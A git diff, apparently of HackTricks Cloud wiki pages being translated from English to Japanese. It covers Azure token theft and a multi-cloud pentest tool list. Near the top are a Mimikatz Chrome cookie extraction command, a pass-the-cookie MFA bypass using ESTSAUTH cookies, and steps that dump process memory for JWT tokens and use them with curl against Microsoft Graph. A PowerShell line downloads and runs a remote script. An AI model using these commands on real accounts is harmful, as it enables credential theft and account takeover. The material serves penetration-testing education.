-With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command:
-
+Mimikatzを手に入れれば、次のコマンドを使用して**ユーザーのクッキーを抽出**することができます：
 ```bash
 mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
 ```
+Azureでは、**`ESTSAUTH`**、**`ESTSAUTHPERSISTENT`**、および**`ESTSAUTHLIGHT`**を含む認証クッキーが重要です。これらは、ユーザーが最近Azureでアクティブであったために存在します。
 
-For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately.
-
-Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated.
+login.microsoftonline.comに移動し、クッキー**`ESTSAUTHPERSISTENT`**（「サインインを維持」オプションによって生成された）または**`ESTSAUTH`**を追加します。そうすれば、認証されます。
 
 ## References
 
 - [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
index 28bc5b415..442bf996e 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
@@ -2,10 +2,6 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
+**チェック:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
index a79c7a659..1bfad8a99 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
@@ -2,10 +2,6 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
+**この投稿をチェックしてください** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) 同様の内容を説明した別の投稿は [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) で見つけることができます。
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
index 1ba819b3a..d07520db4 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
@@ -2,16 +2,15 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## **Basic Information**
+## **基本情報**
 
-As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA.
+[**このビデオ**](https://www.youtube.com/watch?v=OHKZkXC4Duw)で説明されているように、クラウドと同期された一部のMicrosoftソフトウェア（Excel、Teamsなど）は、**メモリ内にアクセス トークンを平文で保存する可能性があります**。したがって、プロセスの**メモリをダンプ**し、**JWTトークンをgrep**するだけで、MFAをバイパスしてクラウド内の被害者のいくつかのリソースにアクセスできる可能性があります。
 
-Steps:
-
-1. Dump the excel processes synchronized with in EntraID user with your favourite tool.
-2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output
-3. Find the tokens that interest you the most and run tools over them:
+手順：
 
+1. お気に入りのツールを使用して、EntraIDユーザーと同期されたExcelプロセスをダンプします。
+2. `string excel.dmp | grep 'eyJ0'`を実行し、出力内のいくつかのトークンを見つけます。
+3. 最も興味のあるトークンを見つけ、それらに対してツールを実行します：
 ```bash
 # Check the identity of the token
 curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq
@@ -31,11 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit
 ┌──(magichk㉿black-pearl)-[~]
 └─$ curl -o  -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>'
 ```
-
-**Note that these kind of access tokens can be also found inside other processes.**
+**この種のアクセストークンは、他のプロセス内にも存在することに注意してください。**
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
index 39ee71d6c..6b9320eb4 100644
--- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
@@ -2,10 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
+テストを開始するには、**サブスクリプションに対するリーダー権限を持つユーザー**と**AzureADのグローバルリーダー役割**にアクセスする必要があります。それでも**ストレージアカウントのコンテンツにアクセスできない**場合は、**ストレージアカウント貢献者の役割**で修正できます。
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index 0be67db54..3fda24e63 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -4,45 +4,44 @@
 
 

 
-## Basic Methodology
+## 基本的な方法論
 
-Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment:
+各クラウドには独自の特性がありますが、一般的にクラウド環境をテストする際に**ペンテスターが確認すべき共通の事項**がいくつかあります：
 
-- **Benchmark checks**
-  - This will help you **understand the size** of the environment and **services used**
-  - It will allow you also to find some **quick misconfigurations** as you can perform most of this tests with **automated tools**
-- **Services Enumeration**
-  - You probably won't find much more misconfigurations here if you performed correctly the benchmark tests, but you might find some that weren't being looked for in the benchmark test.
-  - This will allow you to know **what is exactly being used** in the cloud env
-  - This will help a lot in the next steps
-- **Check exposed assets**
-  - This can be done during the previous section, you need to **find out everything that is potentially exposed** to the Internet somehow and how can it be accessed.
-    - Here I'm taking **manually exposed infrastructure** like instances with web pages or other ports being exposed, and also about other **cloud managed services that can be configured** to be exposed (such as DBs or buckets)
-  - Then you should check **if that resource can be exposed or not** (confidential information? vulnerabilities? misconfigurations in the exposed service?)
-- **Check permissions**
-  - Here you should **find out all the permissions of each role/user** inside the cloud and how are they used
-    - Too **many highly privileged** (control everything) accounts? Generated keys not used?... Most of these check should have been done in the benchmark tests already
-    - If the client is using OpenID or SAML or other **federation** you might need to ask them for further **information** about **how is being each role assigned** (it's not the same that the admin role is assigned to 1 user or to 100)
-  - It's **not enough to find** which users has **admin** permissions "\*:\*". There are a lot of **other permissions** that depending on the services used can be very **sensitive**.
-    - Moreover, there are **potential privesc** ways to follow abusing permissions. All this things should be taken into account and **as much privesc paths as possible** should be reported.
-- **Check Integrations**
-  - It's highly probably that **integrations with other clouds or SaaS** are being used inside the cloud env.
-    - For **integrations of the cloud you are auditing** with other platform you should notify **who has access to (ab)use that integration** and you should ask **how sensitive** is the action being performed.\
-      For example, who can write in an AWS bucket where GCP is getting data from (ask how sensitive is the action in GCP treating that data).
-    - For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used.\
-      For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud.
+- **ベンチマークチェック**
+- これにより、**環境の規模**や**使用されているサービス**を理解するのに役立ちます。
+- また、**自動化ツール**を使用してほとんどのテストを実行できるため、いくつかの**迅速な誤設定**を見つけることもできます。
+- **サービスの列挙**
+- ベンチマークテストを正しく実施した場合、ここで見つかる誤設定はあまり多くないでしょうが、ベンチマークテストで探されていなかったものを見つけることがあるかもしれません。
+- これにより、クラウド環境で**何が正確に使用されているか**を知ることができます。
+- 次のステップに大いに役立ちます。
+- **公開されている資産の確認**
+- これは前のセクションで行うことができ、**インターネットに潜在的に公開されているすべてのもの**とそれにアクセスする方法を**見つける必要があります**。
+- ここでは、**手動で公開されたインフラ**（ウェブページを持つインスタンスや他のポートが公開されているもの）や、**公開されるように構成できる他のクラウド管理サービス**（DBやバケットなど）について取り上げています。
+- 次に、そのリソースが**公開される可能性があるかどうか**を確認する必要があります（機密情報？脆弱性？公開されたサービスの誤設定？）。
+- **権限の確認**
+- ここでは、クラウド内の各ロール/ユーザーの**すべての権限を見つける必要があります**。
+- **非常に特権の高い**（すべてを制御する）アカウントが多すぎる？使用されていない生成されたキー？... これらのチェックのほとんどはすでにベンチマークテストで行われているはずです。
+- クライアントがOpenIDやSAMLなどの**フェデレーション**を使用している場合、**各ロールがどのように割り当てられているか**についてさらに**情報を求める必要があります**（管理者ロールが1人のユーザーに割り当てられているのと100人に割り当てられているのは同じではありません）。
+- **管理者**権限を持つユーザーが**どれか**を見つけるだけでは**不十分です**。使用されるサービスによっては、非常に**敏感な**他の**権限**がたくさんあります。
+- さらに、権限を悪用する**潜在的な特権昇格**の方法があります。これらすべてのことを考慮に入れ、**できるだけ多くの特権昇格パスを報告する必要があります**。
+- **統合の確認**
+- **他のクラウドやSaaSとの統合**がクラウド環境内で使用されている可能性が非常に高いです。
+- **監査しているクラウドの統合**については、その統合を**（悪用する）アクセスを持つ人**を通知し、実行されているアクションが**どれほど敏感であるか**を尋ねる必要があります。\
+例えば、GCPがデータを取得しているAWSバケットに書き込むことができるのは誰か（GCPでそのデータを扱う際のアクションがどれほど敏感であるかを尋ねてください）。
+- **監査しているクラウド内の統合**については、外部プラットフォームからの**（悪用する）アクセスを持つ人**を尋ね、そのデータがどのように使用されているかを確認する必要があります。\
+例えば、サービスがGCRにホストされているDockerイメージを使用している場合、そのイメージを修正するアクセスを持つのは誰か、AWSクラウド内で実行されたときにそのイメージがどのような機密情報やアクセスを取得するかを尋ねる必要があります。
 
-## Multi-Cloud tools
+## マルチクラウドツール
 
-There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section.
+異なるクラウド環境をテストするために使用できるツールがいくつかあります。このセクションでは、インストール手順とリンクが示されます。
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
+クラウドおよびクラウド/SaaS間の**悪い構成と特権昇格パスを特定する**ためのツールです。
 
 {{#tabs }}
 {{#tab name="Install" }}
-
 ```bash
 # You need to install and run neo4j also
 git clone https://github.com/carlospolop/PurplePanda
@@ -54,29 +53,25 @@ export PURPLEPANDA_NEO4J_URL="bolt://neo4j@localhost:7687"
 export PURPLEPANDA_PWD="neo4j_pwd_4_purplepanda"
 python3 main.py -h # Get help
 ```
-
 {{#endtab }}
 
 {{#tab name="GCP" }}
-
 ```bash
 export GOOGLE_DISCOVERY=$(echo 'google:
 - file_path: ""
 
 - file_path: ""
-  service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64)
+service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64)
 
 python3 main.py -a -p google #Get basic info of the account to check it's correctly configured
 python3 main.py -e -p google #Enumerate the env
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-It supports **AWS, GCP & Azure**. Check how to configure each provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
-
+**AWS、GCP、Azure**をサポートしています。各プロバイダーの設定方法については、[https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)を確認してください。
 ```bash
 # Install
 pip install prowler
@@ -91,14 +86,12 @@ prowler aws --profile custom-profile [-M csv json json-asff html]
 prowler  --list-checks
 prowler  --list-services
 ```
-
 ### [CloudSploit](https://github.com/aquasecurity/cloudsploit)
 
-AWS, Azure, Github, Google, Oracle, Alibaba
+AWS、Azure、Github、Google、Oracle、Alibaba
 
 {{#tabs }}
 {{#tab name="Install" }}
-
 ```bash
 # Install
 git clone https://github.com/aquasecurity/cloudsploit.git
@@ -107,26 +100,22 @@ npm install
 ./index.js -h
 ## Docker instructions in github
 ```
-
 {{#endtab }}
 
 {{#tab name="GCP" }}
-
 ```bash
 ## You need to have creds for a service account and set them in config.js file
 ./index.js --cloud google --config 
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 ### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
 
-AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
+AWS、Azure、GCP、Alibaba Cloud、Oracle Cloud Infrastructure
 
 {{#tabs }}
 {{#tab name="Install" }}
-
 ```bash
 mkdir scout; cd scout
 virtualenv -p python3 venv
@@ -135,24 +124,21 @@ pip install scoutsuite
 scout --help
 ## Using Docker: https://github.com/nccgroup/ScoutSuite/wiki/Docker-Image
 ```
-
 {{#endtab }}
 
 {{#tab name="GCP" }}
-
 ```bash
 scout gcp --report-dir /tmp/gcp --user-account --all-projects
 ## use "--service-account KEY_FILE" instead of "--user-account" to use a service account
 
 SCOUT_FOLDER_REPORT="/tmp"
 for pid in $(gcloud projects list --format="value(projectId)"); do
-    echo "================================================"
-    echo "Checking $pid"
-    mkdir "$SCOUT_FOLDER_REPORT/$pid"
-    scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid"
+echo "================================================"
+echo "Checking $pid"
+mkdir "$SCOUT_FOLDER_REPORT/$pid"
+scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid"
 done
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
@@ -160,17 +146,14 @@ done
 
 {{#tabs }}
 {{#tab name="Install" }}
-Download and install Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Or use Brew:
-
+Steampipeをダウンロードしてインストールします（[https://steampipe.io/downloads](https://steampipe.io/downloads)）。または、Brewを使用します：
 ```
 brew tap turbot/tap
 brew install steampipe
 ```
-
 {{#endtab }}
 
 {{#tab name="GCP" }}
-
 ```bash
 # Install gcp plugin
 steampipe plugin install gcp
@@ -183,13 +166,11 @@ steampipe dashboard
 # To run all the checks from rhe cli
 steampipe check all
 ```
-
 

 
-Check all Projects
-
-In order to check all the projects you need to generate the `gcp.spc` file indicating all the projects to test. You can just follow the indications from the following script
+すべてのプロジェクトを確認
 
+すべてのプロジェクトを確認するには、テストするすべてのプロジェクトを示す `gcp.spc` ファイルを生成する必要があります。次のスクリプトの指示に従うだけで済みます。
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -197,32 +178,30 @@ rm -rf "$FILEPATH" 2>/dev/null
 # Generate a json like object for each project
 for pid in $(gcloud projects list --format="value(projectId)"); do
 echo "connection \"gcp_$(echo -n $pid | tr "-" "_" )\" {
-    plugin  = \"gcp\"
-    project = \"$pid\"
+plugin  = \"gcp\"
+project = \"$pid\"
 }" >> "$FILEPATH"
 done
 
 # Generate the aggragator to call
 echo 'connection "gcp_all" {
-  plugin      = "gcp"
-  type        = "aggregator"
-  connections = ["gcp_*"]
+plugin      = "gcp"
+type        = "aggregator"
+connections = ["gcp_*"]
 }' >> "$FILEPATH"
 
 echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generated"
 ```
-
 

 
-To check **other GCP insights** (useful for enumerating services) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+他の**GCPインサイト**（サービスを列挙するのに便利）を確認するには、次を使用します: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
-To check Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Terraform GCPコードを確認するには: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
-More GCP plugins of Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Steampipeの他のGCPプラグイン: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
 
 {{#tab name="AWS" }}
-
 ```bash
 # Install aws plugin
 steampipe plugin install aws
@@ -246,29 +225,27 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
+Terraform AWSコードを確認するには: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
-
-More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+Steampipeの他のAWSプラグイン: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
-AWS, GCP, Azure, DigitalOcean.\
-It requires python2.7 and looks unmaintained.
+AWS、GCP、Azure、DigitalOcean。\
+python2.7が必要で、メンテナンスされていないようです。
 
 ### Nessus
 
-Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**.
+Nessusには、AWS、Azure、Office 365、Rackspace、Salesforceをサポートする_**Audit Cloud Infrastructure**_スキャンがあります。**Azure**では、**Client Id**を取得するために追加の設定が必要です。
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
+Cloudlistは、クラウドプロバイダーから資産（ホスト名、IPアドレス）を取得するための**マルチクラウドツール**です。
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
-
 ```bash
 cd /tmp
 wget https://github.com/projectdiscovery/cloudlist/releases/latest/download/cloudlist_1.0.1_macOS_arm64.zip
@@ -276,46 +253,40 @@ unzip cloudlist_1.0.1_macOS_arm64.zip
 chmod +x cloudlist
 sudo mv cloudlist /usr/local/bin
 ```
-
 {{#endtab }}
 
 {{#tab name="Second Tab" }}
-
 ```bash
 ## For GCP it requires service account JSON credentials
 cloudlist -config 
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
+Cartographyは、Neo4jデータベースによって強化された直感的なグラフビューで、インフラストラクチャ資産とそれらの関係を統合するPythonツールです。
 
 {{#tabs }}
 {{#tab name="Install" }}
-
 ```bash
 # Installation
 docker image pull ghcr.io/lyft/cartography
 docker run --platform linux/amd64 ghcr.io/lyft/cartography cartography --help
 ## Install a Neo4j DB version 3.5.*
 ```
-
 {{#endtab }}
 
 {{#tab name="GCP" }}
-
 ```bash
 docker run --platform linux/amd64 \
-     --volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \
-     -e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \
-     -e NEO4j_PASSWORD="s3cr3t" \
-     ghcr.io/lyft/cartography  \
-     --neo4j-uri bolt://host.docker.internal:7687 \
-     --neo4j-password-env-var NEO4j_PASSWORD \
-     --neo4j-user neo4j
+--volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \
+-e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \
+-e NEO4j_PASSWORD="s3cr3t" \
+ghcr.io/lyft/cartography  \
+--neo4j-uri bolt://host.docker.internal:7687 \
+--neo4j-password-env-var NEO4j_PASSWORD \
+--neo4j-user neo4j
 
 
 # It only checks for a few services inside GCP (https://lyft.github.io/cartography/modules/gcp/index.html)
@@ -326,17 +297,15 @@ docker run --platform linux/amd64 \
 ## Google Kubernetes Engine
 ### If you can run starbase or purplepanda you will get more info
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
+Starbaseは、クラウドインフラストラクチャ、SaaSアプリケーション、セキュリティコントロールなどのサービスやシステムから資産と関係を収集し、Neo4jデータベースに基づいた直感的なグラフビューに表示します。
 
 {{#tabs }}
 {{#tab name="Install" }}
-
 ```bash
 # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/
 npm install --global yarn
@@ -359,44 +328,40 @@ docker build --no-cache -t starbase:latest .
 docker-compose run starbase setup
 docker-compose run starbase run
 ```
-
 {{#endtab }}
 
 {{#tab name="GCP" }}
-
 ```yaml
 ## Config for GCP
 ### Check out: https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md
 ### It requires service account credentials
 
 integrations:
-  - name: graph-google-cloud
-    instanceId: testInstanceId
-    directory: ./.integrations/graph-google-cloud
-    gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git
-    config:
-      SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}"
-      PROJECT_ID: ""
-      FOLDER_ID: ""
-      ORGANIZATION_ID: ""
-      CONFIGURE_ORGANIZATION_PROJECTS: false
+- name: graph-google-cloud
+instanceId: testInstanceId
+directory: ./.integrations/graph-google-cloud
+gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git
+config:
+SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}"
+PROJECT_ID: ""
+FOLDER_ID: ""
+ORGANIZATION_ID: ""
+CONFIGURE_ORGANIZATION_PROJECTS: false
 
 storage:
-  engine: neo4j
-  config:
-    username: neo4j
-    password: s3cr3t
-    uri: bolt://localhost:7687
-    #Consider using host.docker.internal if from docker
+engine: neo4j
+config:
+username: neo4j
+password: s3cr3t
+uri: bolt://localhost:7687
+#Consider using host.docker.internal if from docker
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Discover the most privileged users in the scanned AWS or Azure environment, including the AWS Shadow Admins. It uses powershell.
-
+スキャンされたAWSまたはAzure環境で最も特権のあるユーザーを発見します。AWS Shadow Adminsを含みます。PowerShellを使用します。
 ```powershell
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -405,18 +370,17 @@ Start-AzureStealth
 IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1')
 Scan-AzureAdmins
 ```
-
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
+企業（ターゲット）のインフラ、ファイル、アプリを主要なクラウドプロバイダー（Amazon、Google、Microsoft、DigitalOcean、Alibaba、Vultr、Linode）上で見つけるためのツールです。
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming).
-- It is an enumeration tool which is intended to compliment manual pentesting.
-- It doesn't create or modify any data within the cloud environment.
+- CloudFoxは、クラウドインフラストラクチャ内の悪用可能な攻撃経路を見つけるためのツールです（現在はAWSとAzureのみサポート、GCPは近日中に対応予定）。
+- 手動のpentestingを補完することを目的とした列挙ツールです。
+- クラウド環境内のデータを作成または変更することはありません。
 
-### More lists of cloud security tools
+### クラウドセキュリティツールのさらなるリスト
 
 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
@@ -446,16 +410,12 @@ aws-security/
 azure-security/
 {{#endref}}
 
-### Attack Graph
+### 攻撃グラフ
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter)は、Azureサブスクリプション内のリソースの「攻撃グラフ」を作成します。これにより、レッドチームやpentesterは攻撃面とテナント内のピボット機会を視覚化でき、ディフェンダーはインシデントレスポンス作業を迅速に方向付け、優先順位を付けることができます。
 
 ### Office365
 
-You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**.
+**Global Admin**または少なくとも**Global Admin Reader**が必要です（ただし、Global Admin Readerには少し制限があります）。ただし、これらの制限は一部のPSモジュールに現れ、**ウェブアプリケーションを介して**機能にアクセスすることで回避できます。
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
-